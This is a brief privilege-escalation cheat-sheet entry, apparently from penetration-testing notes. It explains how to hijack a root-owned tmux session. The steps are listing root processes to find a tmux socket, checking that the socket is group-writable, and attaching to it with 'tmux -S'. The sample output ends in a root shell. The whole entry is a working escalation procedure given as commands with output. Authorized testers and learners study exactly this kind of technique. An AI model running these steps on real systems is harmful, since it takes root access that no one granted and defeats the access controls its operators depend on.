Hijack TMUX session

Require a read access to the tmux socket : /tmp/tmux-1000/default.

export TMUX=/tmp/tmux-1000/default,1234,0

tmux ls

1. Check for process…

user@box:/# ps -u root

/usr/bin/tmux -S /.devs/dev_sess

1. Check we can read/write…

user@box:/# ls -la /.devs/dev_sess

srw-rw---- 1 root usergroup

1. Now do the same command you see running in your user terminal that has group membership allowing rw to attach to the session…

user@box:/# tmux -S /.devs/dev_sess

root@box:/# id

uid=0(root) gid=0(root) groups=0(root)
